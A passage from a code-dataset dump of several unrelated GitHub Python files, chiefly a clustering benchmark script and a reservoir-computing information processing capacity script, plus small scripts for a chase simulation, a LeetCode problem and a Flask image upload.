classix_dist_time_scores = list()\n kmeans_time_scores = list()\n dbscan_time_scores = list()\n hdbscan_time_scores = list()\n quicks_time_scores = list()\n meanshift_time_scores = list()\n\n den_tols = [0.25, 0.125, 0.05, 0.2, 0.425, 0.25, 0.135, 0.325]\n den_minPts = [6, 6, 10, 3, 0, 9, 4, 0]\n \n dist_tols = [0.1, 0.1, 0.025, 0.2, 0.3, 0.15, 0.15, 0.25]\n dist_minPts = [0, 2, 21, 9, 0, 10, 4, 5]\n \n eps = [0.125, 0.2 ,0.08, 0.275, 0.3, 0.225, 0.1, 0.325]\n min_samples = [5, 6, 3, 5, 4, 8, 5, 5]\n \n min_cluster_size = [12, 4, 6, 3, 16, 15, 5, 2]\n\n quicks_k = [10, 12, 10, 10, 10, 10, 10, 8]\n quicks_beta = [.325, .625, .625, .575, .650, .425, .5, .8]\n \n bandwidth = [0.475, 0.625, 0.2, 0.825, 0.7, 0.7, 0.25, 0.475]\n \n sample_size = 10\n\n with threadpool_limits(limits=1, user_api='blas'):\n for i in range(len(shape_sets)):\n data = load_data(\"data/Shape sets/\" + shape_sets[i])\n\n unit_time = 0\n for _iter in range(sample_size):\n np.random.seed(_iter)\n st = time.time()\n # classix will normalize during the clustering, so we arrange the z-score nomarlization to others after that.\n classix_dist = CLASSIX(sorting='pca', radius=dist_tols[i], group_merging='distance', minPts=dist_minPts[i], verbose=0, post_alloc=True)\n classix_dist.fit_transform(data[[0,1]])\n et = time.time()\n unit_time = unit_time + et - st\n classix_dist_time_scores.append(unit_time/sample_size)\n \n unit_time = 0\n for _iter in range(sample_size):\n np.random.seed(_iter)\n st = time.time()\n # classix will normalize during the clustering, so it is not necessarily apply z-score normalization \n # we arrange the z-score nomarlization to other algorithm after that.\n classix_den = CLASSIX(sorting='pca', radius=den_tols[i], group_merging='density', minPts=den_minPts[i], verbose=0, post_alloc=True)\n classix_den.fit_transform(data[[0,1]])\n et = time.time()\n unit_time = unit_time + et - st\n classix_den_time_scores.append(unit_time/sample_size)\n\n unit_time = 0\n for _iter in range(sample_size):\n np.random.seed(_iter)\n st = time.time()\n _data = (data[[0,1]] - data[[0,1]].mean(axis=0)) / data[[0,1]].std(axis=0)\n kmeans = KMeans(n_clusters=len(np.unique(data[2])), random_state=0)\n kmeans.fit(_data)\n et = time.time()\n unit_time = unit_time + et - st\n kmeans_time_scores.append(unit_time/sample_size)\n\n unit_time = 0\n for _iter in range(sample_size):\n np.random.seed(_iter)\n st = time.time()\n _data = (data[[0,1]] - data[[0,1]].mean(axis=0)) / data[[0,1]].std(axis=0)\n dbscan = DBSCAN(eps=eps[i], min_samples=min_samples[i])\n dbscan.fit(_data)\n et = time.time()\n unit_time = unit_time + et - st\n dbscan_time_scores.append(unit_time/sample_size)\n \n unit_time = 0\n for _iter in range(sample_size):\n np.random.seed(_iter)\n st = time.time()\n _data = (data[[0,1]] - data[[0,1]].mean(axis=0)) / data[[0,1]].std(axis=0)\n _hdbscan = hdbscan.HDBSCAN(min_cluster_size=min_cluster_size[i], core_dist_n_jobs=1)\n hdbscan_labels = _hdbscan.fit_predict(_data)\n et = time.time()\n unit_time = unit_time + et - st\n hdbscan_time_scores.append(unit_time/sample_size)\n \n unit_time = 0\n for _iter in range(sample_size):\n np.random.seed(_iter)\n st = time.time()\n _data = (data[[0,1]] - data[[0,1]].mean(axis=0)) / data[[0,1]].std(axis=0)\n quicks = QuickshiftPP(k=quicks_k[i], beta=quicks_beta[i])\n quicks.fit(_data.values.copy(order='C'))\n quicks_labels = quicks.memberships\n et = time.time()\n unit_time = unit_time + et - st\n quicks_time_scores.append(unit_time/sample_size)\n \n unit_time = 0\n for _iter in range(sample_size):\n np.random.seed(_iter)\n st = time.time()\n _data = (data[[0,1]] - data[[0,1]].mean(axis=0)) / data[[0,1]].std(axis=0)\n meanshift = MeanShift(bandwidth=bandwidth[i])\n meanshift.fit(_data)\n et = time.time()\n unit_time = unit_time + et - st\n meanshift_time_scores.append(unit_time/sample_size)\n \n # classix_dist_sh = metrics.silhouette_score(data[[0,1]], classix_dist.labels_)\n # classix_dist_db = metrics.davies_bouldin_score(data[[0,1]], classix_dist.labels_)\n # classix_dist_ch = metrics.calinski_harabasz_score(data[[0,1]], classix_dist.labels_)\n classix_dist_ri = metrics.adjusted_rand_score(data[2], classix_dist.labels_) \n classix_dist_mi = metrics.adjusted_mutual_info_score(data[2], classix_dist.labels_) \n classix_dist_results.append(classix_dist.labels_)\n classix_dist_nr_dist.append(classix_dist.dist_nr)\n \n # classix_den_sh = metrics.silhouette_score(data[[0,1]], classix_den.labels_)\n # classix_den_db = metrics.davies_bouldin_score(data[[0,1]], classix_den.labels_)\n # classix_den_ch = metrics.calinski_harabasz_score(data[[0,1]], classix_den.labels_)\n classix_den_ri = metrics.adjusted_rand_score(data[2], classix_den.labels_) \n classix_den_mi = metrics.adjusted_mutual_info_score(data[2], classix_den.labels_) \n classix_den_results.append(classix_den.labels_)\n classix_den_nr_dist.append(classix_den.dist_nr)\n\n # kmeans_sh = metrics.silhouette_score(data[[0,1]], kmeans.labels_)\n # kmeans_db = metrics.davies_bouldin_score(data[[0,1]], kmeans.labels_)\n # kmeans_ch = metrics.calinski_harabasz_score(data[[0,1]], kmeans.labels_)\n kmeans_ri = metrics.adjusted_rand_score(data[2], kmeans.labels_)\n kmeans_mi = metrics.adjusted_mutual_info_score(data[2], kmeans.labels_) \n kmeans_results.append(kmeans.labels_)\n\n # dbscan_sh = metrics.silhouette_score(data[[0,1]], dbscan.labels_)\n # dbscan_db= metrics.davies_bouldin_score(data[[0,1]], dbscan.labels_)\n # dbscan_ch = metrics.calinski_harabasz_score(data[[0,1]], dbscan.labels_)\n dbscan_ri = metrics.adjusted_rand_score(data[2], dbscan.labels_)\n dbscan_mi = metrics.adjusted_mutual_info_score(data[2], dbscan.labels_) \n dbscan_results.append(dbscan.labels_)\n\n # hdbscan_sh = metrics.silhouette_score(data[[0,1]], hdbscan_labels)\n # hdbscan_db= metrics.davies_bouldin_score(data[[0,1]], hdbscan_labels)\n # hdbscan_ch = metrics.calinski_harabasz_score(data[[0,1]], hdbscan_labels)\n hdbscan_ri = metrics.adjusted_rand_score(data[2], hdbscan_labels)\n hdbscan_mi = metrics.adjusted_mutual_info_score(data[2], hdbscan_labels) \n hdbscan_results.append(hdbscan_labels)\n \n # quicks_sh = metrics.silhouette_score(data[[0,1]], quicks_labels)\n # quicks_db= metrics.davies_bouldin_score(data[[0,1]], quicks_labels)\n # quicks_ch = metrics.calinski_harabasz_score(data[[0,1]], quicks_labels)\n quicks_ri = metrics.adjusted_rand_score(data[2], quicks_labels)\n quicks_mi = metrics.adjusted_mutual_info_score(data[2], quicks_labels) \n quicks_results.append(quicks_labels)\n \n # meanshift_sh = metrics.silhouette_score(data[[0,1]], meanshift.labels_)\n # meanshift_db= metrics.davies_bouldin_score(data[[0,1]], meanshift.labels_)\n # meanshift_ch = metrics.calinski_harabasz_score(data[[0,1]], meanshift.labels_)\n meanshift_ri = metrics.adjusted_rand_score(data[2], meanshift.labels_)\n meanshift_mi = metrics.adjusted_mutual_info_score(data[2], meanshift.labels_) \n meanshift_results.append(meanshift.labels_)\n \n # classix_den_sh_scores.append(classix_den_sh)\n # classix_dist_sh_scores.append(classix_dist_sh)\n # kmeans_sh_scores.append(kmeans_sh)\n # dbscan_sh_scores.append(dbscan_sh)\n # hdbscan_sh_scores.append(hdbscan_sh)\n # quicks_sh_scores.append(quicks_sh)\n # meanshift_sh_scores.append(meanshift_sh)\n\n # classix_den_db_scores.append(classix_den_db)\n # classix_dist_db_scores.append(classix_dist_db)\n # kmeans_db_scores.append(kmeans_db)\n # dbscan_db_scores.append(dbscan_db)\n # hdbscan_db_scores.append(hdbscan_db)\n # quicks_db_scores.append(quicks_db)\n # meanshift_db_scores.append(meanshift_db)\n\n # classix_den_ch_scores.append(classix_den_ch)\n # classix_dist_ch_scores.append(classix_dist_ch)\n # kmeans_ch_scores.append(kmeans_ch)\n # dbscan_ch_scores.append(dbscan_ch)\n # hdbscan_ch_scores.append(hdbscan_ch)\n # quicks_ch_scores.append(quicks_ch)\n # meanshift_ch_scores.append(meanshift_ch)\n\n classix_den_ri_scores.append(classix_den_ri)\n classix_dist_ri_scores.append(classix_dist_ri)\n kmeans_ri_scores.append(kmeans_ri)\n dbscan_ri_scores.append(dbscan_ri)\n hdbscan_ri_scores.append(hdbscan_ri)\n quicks_ri_scores.append(quicks_ri)\n meanshift_ri_scores.append(meanshift_ri)\n\n classix_den_mi_scores.append(classix_den_mi)\n classix_dist_mi_scores.append(classix_dist_mi)\n kmeans_mi_scores.append(kmeans_mi)\n dbscan_mi_scores.append(dbscan_mi)\n hdbscan_mi_scores.append(hdbscan_mi)\n quicks_mi_scores.append(quicks_mi)\n meanshift_mi_scores.append(meanshift_mi)\n\n plt.figure(figsize=(28, 32))\n plt.rcParams['axes.facecolor'] = 'white'\n plt.subplots_adjust(left=.02, right=.98, bottom=.001, top=.95, wspace=.05,\n hspace=.01)\n\n plot_num=1\n \n for i_dataset in range(len(shape_sets)):\n data = load_data(\"data/Shape sets/\" + shape_sets[i_dataset]).values[:,:2]\n data = (data - data.mean(axis=0))/data.std(axis=0)\n\n clustering_algorithms_results = (\n ('k-means++', kmeans_results),\n ('Mean shift', meanshift_results),\n ('DBSCAN', dbscan_results),\n ('HDBSCAN', hdbscan_results),\n ('Quickshift++', quicks_results),\n ('CLASSIX - distance', classix_dist_results),\n ('CLASSIX - density', classix_den_results)\n )\n\n clustering_algorithms_time = {\n 'k-means++': kmeans_time_scores,\n 'Mean shift': meanshift_time_scores,\n 'DBSCAN': dbscan_time_scores,\n 'HDBSCAN': hdbscan_time_scores,\n 'Quickshift++': quicks_time_scores,\n 'CLASSIX - distance': classix_dist_time_scores,\n 'CLASSIX - density': classix_den_time_scores\n }\n\n for name, results in clustering_algorithms_results:\n plt.subplot(len(shape_sets), len(clustering_algorithms_results), plot_num)\n # plt.rc('font', family='serif')\n \n prediction = results[i_dataset]\n plt.scatter(data[prediction!=-1, 0], data[prediction!=-1, 1], c=prediction[prediction!=-1], cmap='tab20') # alternative: 'Set1', 'Set2', 'tab10', 'tab20'\n plt.scatter(data[prediction==-1, 0], data[prediction==-1, 1], color='k')\n plt.xlim(-2.5, 2.5)\n plt.ylim(-3, 3)\n plt.xticks(())\n plt.yticks(())\n \n if name == \"CLASSIX - distance\":\n plt.text(.01, .01, ('%.2f' % np.round(classix_dist_nr_dist[i_dataset]/len(data),2)), #.lstrip('0'),\n transform=plt.gca().transAxes, size=28,\n horizontalalignment='left')\n elif name == \"CLASSIX - density\":\n plt.text(.01, .01, ('%.2f' % np.round(classix_den_nr_dist[i_dataset]/len(data),2)), #.lstrip('0'),\n transform=plt.gca().transAxes, size=28,\n horizontalalignment='left')\n\n if i_dataset == 0:\n plt.title(name, size=27)\n \n plt.text(.99, .01, ('%.2fs' % np.round(clustering_algorithms_time[name][i_dataset],2)), #.lstrip('0'),\n transform=plt.gca().transAxes, size=28,\n horizontalalignment='right')\n\n plot_num = plot_num + 1\n \n plt.savefig('results/exp4/shape_sets_general'+'.pdf', bbox_inches='tight')\n # plt.show()\n \n stack_data_n = ['Aggregation', 'Compound', \n 'D31', 'Flame', \n 'Jain', 'Pathbased', \n 'R15', 'Spiral']*7\n \n cluster_n = ['k-means++']*8 + ['Mean shift']*8 + ['DBSCAN']*8 + ['HDBSCAN']*8 + ['Quickshift++']*8 + ['CLASSIX - distance']*8 + ['CLASSIX - density']*8\n stack_ri = np.hstack([kmeans_ri_scores, meanshift_ri_scores, dbscan_ri_scores, hdbscan_ri_scores, quicks_ri_scores, classix_dist_ri_scores, classix_den_ri_scores])\n stack_mi = np.hstack([kmeans_mi_scores, meanshift_mi_scores, dbscan_mi_scores, hdbscan_mi_scores, quicks_ri_scores, classix_dist_mi_scores, classix_den_mi_scores])\n stack_time = np.hstack([kmeans_time_scores, meanshift_time_scores, dbscan_time_scores, hdbscan_time_scores, quicks_ri_scores, classix_dist_time_scores, classix_den_time_scores])\n SCORE_STORE = pd.DataFrame()\n SCORE_STORE['Dataset'] = stack_data_n\n SCORE_STORE['Clustering'] = cluster_n\n SCORE_STORE['ARI'] = stack_ri\n SCORE_STORE['AMI'] = stack_mi\n SCORE_STORE['Time'] = stack_time\n SCORE_STORE.to_csv('results/exp4/shape_r.csv', index=False)\n \n ai_data = SCORE_STORE[['Dataset','Clustering', 'ARI']]\n dname = ai_data.Dataset.unique()\n cname = ai_data.Clustering.unique()\n index_data = ai_data.groupby(['Dataset', 'Clustering']).mean()['ARI']\n sdata = pd.DataFrame()\n for i in range(len(dname)):\n sdata[dname[i]] = index_data[dname[i]].values\n\n sdata.index = index_data[dname[0]].index\n sdata = sdata.T[cname]\n sdata.to_csv('results/exp4/shape_ari.csv')\n \n ai_data = SCORE_STORE[['Dataset','Clustering', 'AMI']]\n dname = ai_data.Dataset.unique()\n cname = ai_data.Clustering.unique()\n index_data = ai_data.groupby(['Dataset', 'Clustering']).mean()['AMI']\n sdata = pd.DataFrame()\n for i in range(len(dname)):\n sdata[dname[i]] = index_data[dname[i]].values\n\n sdata.index = index_data[dname[0]].index\n sdata = sdata.T[cname]\n sdata.to_csv('results/exp4/shape_ami.csv')\n\n \n \n \n \ndef shape_index_plot():\n data = pd.read_csv(\"results/exp4/shape_r.csv\")\n plt.figure(figsize=(15,12))\n sns.set(font_scale=2, style=\"whitegrid\")\n plt.rcParams['axes.facecolor'] = 'white'\n g = sns.barplot(data=data, x='Dataset',y='ARI', hue='Clustering')\n plt.ylim(0,1.01)\n g.legend(loc='center right', bbox_to_anchor=(0.98, -0.18), ncol=3)\n plt.tight_layout()\n plt.savefig(\"results/exp4/shape_sets_ri.pdf\", bbox_inches='tight')\n # plt.show()\n\n # data['Dataset'] = shape_sets_name*5\n plt.figure(figsize=(15,12))\n sns.set(font_scale=2, style=\"whitegrid\")\n sns.despine()\n plt.rcParams['axes.facecolor'] = 'white'\n g = sns.barplot(data=data, x='Dataset',y='AMI', hue='Clustering')\n plt.ylim(0,1.01)\n g.legend(loc='center right', bbox_to_anchor=(0.98, -0.18), ncol=3)\n plt.tight_layout()\n plt.savefig(\"results/exp4/shape_sets_mi.pdf\", bbox_inches='tight')\n # plt.show()\n \n\n\ndef shape_pred_test():\n np.random.seed(0)\n data = pd.read_csv(\"data/Shape sets/complex9.txt\", header=None)\n X = data[[0,1]].values\n y = data[[2]].values\n\n N = len(X)\n seed = np.arange(0, N)\n np.random.shuffle(seed)\n\n split = 0.9\n X_train, y_train = X[seed[:int(round(N*split))]], y[seed[:int(round(N*split))]]\n X_test, y_test = X[seed[int(round(N*split)):]], y[seed[int(round(N*split)):]]\n\n clx = CLASSIX(sorting='norm-orthant', radius=0.12, verbose=0, group_merging='density', minPts=31)\n clx.fit(X_train)\n prediction = clx.predict(X_test)\n \n plt.figure(figsize=(10,10))\n plt.rcParams['axes.facecolor'] = 'white'\n plt.scatter(X_train[:,0], X_train[:,1], c=y_train, cmap='tab10')\n plt.tick_params(axis='both', labelsize=24)\n plt.xticks(np.arange(0, 701, 100))\n plt.yticks(np.arange(0, 501, 100))\n plt.grid(False)\n plt.savefig('results/exp4/complex9_train_groudt.pdf', bbox_inches='tight')\n # plt.show()\n\n plt.figure(figsize=(10,10))\n plt.rcParams['axes.facecolor'] = 'white'\n plt.scatter(X_test[:,0], X_test[:,1], c=y_test, cmap='tab10')\n plt.tick_params(axis='both', labelsize=24)\n plt.xticks(np.arange(0, 701, 100))\n plt.yticks(np.arange(0, 501, 100))\n plt.grid(False)\n plt.savefig('results/exp4/complex9_test_groudt.pdf', bbox_inches='tight')\n # plt.show()\n\n plt.figure(figsize=(10,10))\n plt.rcParams['axes.facecolor'] = 'white'\n plt.scatter(X_train[:,0], X_train[:,1], c=clx.labels_, cmap='tab10')\n plt.tick_params(axis='both', labelsize=24)\n plt.xticks(np.arange(0, 701, 100))\n plt.yticks(np.arange(0, 501, 100))\n plt.grid(False)\n plt.savefig('results/exp4/complex9_train_classix.pdf', bbox_inches='tight')\n # plt.show()\n\n plt.figure(figsize=(10,10))\n plt.rcParams['axes.facecolor'] = 'white'\n plt.scatter(X_test[:,0], X_test[:,1], c=prediction, cmap='tab10')\n plt.tick_params(axis='both', labelsize=24)\n plt.xticks(np.arange(0, 701, 100))\n plt.yticks(np.arange(0, 501, 100))\n plt.grid(False)\n plt.savefig('results/exp4/complex9_test_classix.pdf', bbox_inches='tight')\n # plt.show()","repo_name":"nla-group/classix","sub_path":"exp/run_shape_bk.py","file_name":"run_shape_bk.py","file_ext":"py","file_size_in_byte":21005,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"61"} +{"seq_id":"6503523071","text":"from collections import Counter, defaultdict\n\nwords = ['about', 'after', 'again', 'below', 'could', 'every', 'first', 'found', 'great', 'house', 'large', 'learn', 'never', 'other', 'place', 'plant', 'point', 'right', 'small', 'sound', 'spell', 'still', 'study', 'their', 'there', 'these', 'thing', 'think', 'three', 'water', 'where', 'which', 'world', 'would', 'write']\n\ncounts = defaultdict(Counter)\n\nfor word in words:\n for index, letter in enumerate(word):\n counts[index][letter] += 1\n\n\nfor index,val in counts.iteritems():\n for letter, num in val.iteritems():\n if num == 1:\n for word in words:\n if word[index] == letter:\n print (index, letter), word\n\n\n\n\n","repo_name":"ktade/ktade","sub_path":"passwords.py","file_name":"passwords.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21913137087","text":"#It is serial chase problem. Four animals A,B,C,D are there in the field. A chases B, B chases C, C chases D.\n#as soon as the target is with in say 0.005 km, it is killed and the chase ends\n#Speed of A,B,C,D are given say 35,25,15 and 10 km/hr. The initial position are fixed. \n#It is assumed that A will always run in the direction of B and B straight towards C and \n#C straight towards D. D runs straight away form C in first case and towards A in the second case.\n#xa and xb are the coordinates of A\n#thab is the angle with direction ab\n#dab is the distance between A and B\n#va is the velocity of A\n\nimport math as mat\nimport matplotlib.pyplot as plt\n\nxa = 10.0; ya = 10.0; xb = 30.0; yb = 10.0; xc = 30.0; yc = 30.0; xd = 10.0; yd = 30.0\nthab = 0.0; thbc = 0.0; thcd = 0.0; thd = 0.0\nva = 35.0; vb = 25.0; vc = 25; vd = 10\nt = 0.0; delt = 0.001\ndab = ((xa-xb)**2 + (ya-yb)**2)**0.5\ndbc = ((xb-xc)**2 + (yb-yc)**2)**0.5\ndcd = ((xc-xd)**2 + (yc-yd)**2)**0.5\n\nprint(\"_____________________________________________________________\")\nprint(\"{:^14}{:^14}{:^14}{:^14}{:^5}\".format(\"A\",\"B\",\"C\",\"D\",\"T\"))\nprint(\"{:^14}{:^14}{:^14}{:^14}{:^5}\".format(\"________\",\"________\",\"________\",\"________\",\"\"))\nprint(\"{:^7}{:^7}{:^7}{:^7}{:^7}{:^7}{:^7}{:^7}{:^2}\".format(\"x\",\"y\",\"x\",\"y\",\"x\",\"y\",\"x\",\"y\",\"\"))\nprint(\"_____________________________________________________________\")\n\nwhile(t<=1.70):\n xa = xa + va*delt*(xb-xa)/dab\n ya = ya + va*delt*(yb-ya)/dab\n xb = xb - vb*delt*(xb-xc)/dbc\n yb = ya + vb*delt*(yc-yb)/dbc\n xc = xc - vc*delt*(xc-xd)/dcd\n yc = yc - vc*delt*(yc-yd)/dcd\n xd = xd\n yd = yd - vd*delt\n dab = ((xa-xb)**2 + (ya-yb)**2)**0.5\n dbc = ((xb-xc)**2 + (yb-yc)**2)**0.5\n dcd = ((xc-xd)**2 + (yc-yd)**2)**0.5\n print(\"{:^7}{:^7}{:^7}{:^7}{:^7}{:^7}{:^7}{:^7}{:^7}\".format(round(xa,2),round(ya,2),round(xb,2),round(yb,2),round(xc,2),round(yc,2),round(xd,2),round(yd,2),round(t,2)))\n t = t + delt\n if(dab <= 0.005):\n t = 4.0; print(\"B killed, chase ends\")\n if(dbc<=0.005):\n t = 4.0; print(\"C killed, chase ends\")\n if(dcd<=0.005):\n t = 4.0; print(\"D killed, chase ends\")","repo_name":"Ayad-Mihidabi-Khan-Jitu/Workspace-Learning","sub_path":"LAB_CSE/LAB_SimulationAndModeling/Serial_Chase_Problem.py","file_name":"Serial_Chase_Problem.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28366611171","text":"class Solution:\n def divisorSubstrings(self, num: int, k: int) -> int:\n numStr = str(num)\n count = 0\n \n for i in range(0, len(numStr) - k + 1, 1):\n subStr = int(numStr[i:i+k])\n if subStr == 0 or num % subStr != 0:\n continue\n count += 1\n \n return count","repo_name":"medasuryatej/InterviewPrep","sub_path":"2269-find-the-k-beauty-of-a-number/2269-find-the-k-beauty-of-a-number.py","file_name":"2269-find-the-k-beauty-of-a-number.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"802294088","text":"# user/pics_handler.py\nimport os \nfrom flask import current_app\nfrom PIL import Image\n\ndef process_upload_image(upload_image, username):\n '''\n 1. upload_image is a return value of FileFiled (value is an instance/Object of class)\n 2. upload_image.filename: Get file name of upload picture by get 'filename' variable\n 3. Get upload picture extension (*.extention) by split the file name by '.' then take the last value\n 4. Naming the file to new format \"username + file_extention\"\n 5. Set the path to save the upload picture\n 6. Set the size of picture after process with Image()\n 7. Use Image.open() to open upload picture\n 8. Take the thumnail by Image.thumnail()\n 9. Save upload picture to folder by Image.save()\n -> Complete upload image to server\n 10. Set the return value as new name format \"username + file_extention\" to store in database\n '''\n file_name = upload_image.filename\n file_extension = file_name.split('.')[-1]\n file_rename = str(username) + '.' + file_extension\n save_path = os.path.join(current_app.root_path, 'static\\profile_pics', file_rename)\n\n load_image = Image.open(upload_image)\n load_image.thumbnail([150,150])\n load_image.save(save_path)\n\n return file_rename\n\n\n\n","repo_name":"124tranvita/my_blog","sub_path":"myblog/users/pics_handler.py","file_name":"pics_handler.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13019765678","text":"import mtj_module\nimport numpy as np\nimport os\nimport sys\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom rich.progress import track\nfrom multiprocessing import Pool\nimport itertools\nimport scipy\nfrom sympy.utilities.iterables import multiset_permutations\n\ndef first_example_ipc(length=10000):\n # length = 10000\n s_in = np.random.uniform(-1, 1, length)\n \n s_in_delay_1 = np.append(s_in[-1:], s_in[:-1])\n s_in_delay_2 = np.append(s_in[-2:], s_in[:-2])\n # print(s_in[: 5])\n # print(s_in_delay_2[:7])\n print(f'norm value of delay2 case: {np.linalg.norm((3*s_in_delay_2**2-1)/2)}')\n print(f'predicted value : {np.sqrt(length/5)}')\n\n x_state = s_in_delay_1 + s_in_delay_2**2\n\n new_x_state = (x_state - np.mean(x_state)).reshape(len(x_state), 1)\n\n print(f'real mean of x_state: {np.linalg.norm(new_x_state)}')\n print(f'predicted value of x_state: {np.sqrt(19*length/45)}')\n\n normalized_x, _, _ = np.linalg.svd(new_x_state, full_matrices=False)\n print(normalized_x.shape)\n # normalized_x_norm = np.repeat(np.linalg.norm(normalized_x, axis=1), normalized_x.shape[1], axis=0).reshape(normalized_x.shape)\n # normalized_x = np.divide(normalized_x, normalized_x_norm)\n\n polynominal = np.zeros((6, length))\n polynominal[0, :] = s_in_delay_1\n polynominal[1, :] = s_in_delay_2\n polynominal[2, :] = np.append(s_in[-3:], s_in[:-3])\n polynominal[3, :] = (3*s_in_delay_1**2-1)/2\n polynominal[4, :] = (3*s_in_delay_2**2-1)/2\n polynominal[5, :] = s_in_delay_1*s_in_delay_2\n\n # normalize\n polynominal[0, :] = polynominal[0, :]/np.linalg.norm(s_in_delay_1)\n polynominal[1, :] = polynominal[1, :]/np.linalg.norm(s_in_delay_2)\n polynominal[2, :] = polynominal[2, :]/np.linalg.norm(np.append(s_in[-3:], s_in[:-3]))\n polynominal[3, :] = polynominal[3, :]/np.linalg.norm((3*s_in_delay_1**2-1)/2)\n polynominal[4, :] = polynominal[4, :]/np.linalg.norm((3*s_in_delay_2**2-1)/2)\n polynominal[5, :] = polynominal[5, :]/np.linalg.norm(s_in_delay_1*s_in_delay_2)\n\n c_list = np.dot(normalized_x.T, polynominal.T)**2\n print(f'c_list : {c_list}')\n print(f'total ipc: {np.sum(c_list)}')\n\n ideal_value = [15/19, 0, 0, 0, 4/19, 0]\n print(f'ideal_value: {ideal_value}')\n\n plt.figure()\n x_label_list = np.linspace(1, 6, 6, dtype=int)\n plt.plot(x_label_list, ideal_value, label='ideal values')\n plt.plot(x_label_list, c_list[0, :], label='My results')\n plt.scatter(x_label_list, ideal_value)\n plt.legend()\n plt.ylabel(r'IPC ($C_i$)', size=16)\n plt.xlabel(r'$Degree: n_i$', size=16)\n plt.show()\n\ndef first_example_ipc_re(length=10000, degree=1, max_delay=3, save_index=False):\n # length = 10000\n s_in = np.random.uniform(-1, 1, length)\n \n s_in_delay_1 = np.append(s_in[-1:], s_in[:-1])\n s_in_delay_2 = np.append(s_in[-2:], s_in[:-2])\n\n x_state = s_in_delay_1 + s_in_delay_2**2\n data_frame = polynominal_calculation(reservoir_states=x_state, s_in=s_in, degree=degree, max_delay=max_delay, save_index=save_index)\n total_ipc_frame = {}\n degree_list = data_frame['n_list']\n c_list = data_frame['c_list']\n scale_factor = 1.2\n\n for i in range(200):\n np.random.seed(i)\n s_in = np.random.permutation(s_in)\n data_frame = polynominal_calculation(reservoir_states=x_state, s_in=s_in, degree=degree, max_delay=max_delay, save_index=save_index)\n total_ipc_frame[f'c_list_{i}'] = data_frame['c_list']\n\n # save all data\n total_ipc_frame = pd.DataFrame(total_ipc_frame)\n maximum_surrogate_values = total_ipc_frame.max(axis=1)*scale_factor\n c_thresold_list = []\n for i in range(len(maximum_surrogate_values)):\n if maximum_surrogate_values[i] > c_list[i]:\n c_thresold_list.append(0)\n else:\n c_thresold_list.append(c_list[i])\n\n total_ipc_frame.insert(total_ipc_frame.shape[1], 'c_list', c_list)\n total_ipc_frame.insert(total_ipc_frame.shape[1], 'c_thresold_list', c_thresold_list)\n total_ipc_frame.insert(0, 'n_list', degree_list) \n total_ipc_frame.to_csv('test.csv')\n\n data_frame = pd.DataFrame({'c_thresold_list': c_thresold_list})\n print(data_frame)\n print(f'degree = {degree}, c_total = {np.sum(c_thresold_list)}, Rank: {np.linalg.matrix_rank(x_state)}')\n\n return c_thresold_list, np.sum(c_thresold_list)\n\ndef polynominal_calculation_origin(reservoir_states, s_in, degree=1, max_delay=3, save_index=True, polynominal='legendre', sorrogate=False):\n # for reproduce the figures in paper.\n\n # generate the family of sets of degrees and delays\n global number_list\n data_dic = {} # save all data\n\n integrate_splitting(degree)\n n_list = [i.split(',') for i in number_list]\n number_list = []\n n_list.append([0]*max_delay)\n family_matrix = pd.concat(\n [pd.DataFrame({'{}'.format(index):labels}) for index,labels in enumerate(n_list)],axis=1\n ).fillna(0).values.T.astype(int)\n\n family_matrix = np.delete(family_matrix, -1, 0)\n total_family_matrix = family_matrix.copy()\n # prepare the degree, delay sets\n for index in range(family_matrix.shape[0]):\n all_iter_list = list(multiset_permutations(family_matrix[index], max_delay))\n all_iter_list.reverse()\n total_family_matrix = np.insert(total_family_matrix, index, np.matrix(all_iter_list), axis=0)\n\n total_family_matrix, idx = np.unique(total_family_matrix, axis=0, return_index=True)\n total_family_matrix = total_family_matrix[np.argsort(idx)]\n\n # generate the input matrix with different delay elements\n s_in_matrix = np.zeros((max_delay, len(s_in)))\n\n for delay_value in range(max_delay):\n # for shuffle sorrogate\n if sorrogate:\n s_in_matrix[delay_value, :] = s_in\n else:\n s_in_matrix[delay_value, :] = np.append(s_in[-(delay_value+1):], s_in[:-(delay_value+1)])\n\n polynominal_matrix = np.ones((total_family_matrix.shape[0], len(s_in)))\n\n # generate corresponding polynomial chaos\n for index_ipc in range(total_family_matrix.shape[0]):\n if polynominal == 'uniform':\n # legendre chaos\n polynomial = scipy.special.eval_legendre(total_family_matrix[index_ipc].T, s_in_matrix.T)\n elif polynominal == 'guassian':\n # hermite chaos\n polynomial = scipy.special.eval_hermite(total_family_matrix[index_ipc].T, s_in_matrix.T)\n\n elif polynominal == 'beta':\n alpha, beta = -0.25, -0.25\n polynomial = scipy.special.eval_jacobi(\n total_family_matrix[index_ipc].T, alpha, beta, s_in_matrix.T)\n\n elif polynominal == 'gamma':\n polynomial = scipy.special.eval_laguerre(total_family_matrix[index_ipc].T, s_in_matrix.T)\n\n polynomial_term = np.prod(polynomial, axis=1)\n polynominal_matrix[index_ipc, :] = polynomial_term/np.linalg.norm(polynomial_term)\n \n # calculate the ipc\n if reservoir_states.shape[0] == polynominal_matrix.shape[1]:\n index_reservoir_mean = reservoir_states.shape[1]\n else:\n index_reservoir_mean = reservoir_states.shape[0]\n for index_mean_reservoir in range(index_reservoir_mean):\n # print(np.mean(reservoir_states[:, index_mean_reservoir]))\n reservoir_states[:, index_mean_reservoir] = reservoir_states[:, index_mean_reservoir] - np.mean(reservoir_states[:, index_mean_reservoir])\n \n\n # print(f'x before svd', reservoir_states[0, :].T)\n # reservoir_states = reservoir_states.reshape(len(reservoir_states), 1)\n normalized_x, _, _ = np.linalg.svd(reservoir_states, full_matrices=False)\n # print('x after svd', normalized_x[0, :])\n\n # print('reservoir', normalized_x.shape, normalized_x[0, :])\n # print('**************************************************')\n # print('test', np.sum(np.dot(normalized_x.T, polynominal_matrix.T[:, 5])**2))\n\n c_list = (np.dot(normalized_x.T, polynominal_matrix.T))**2\n # print(f'c_list : 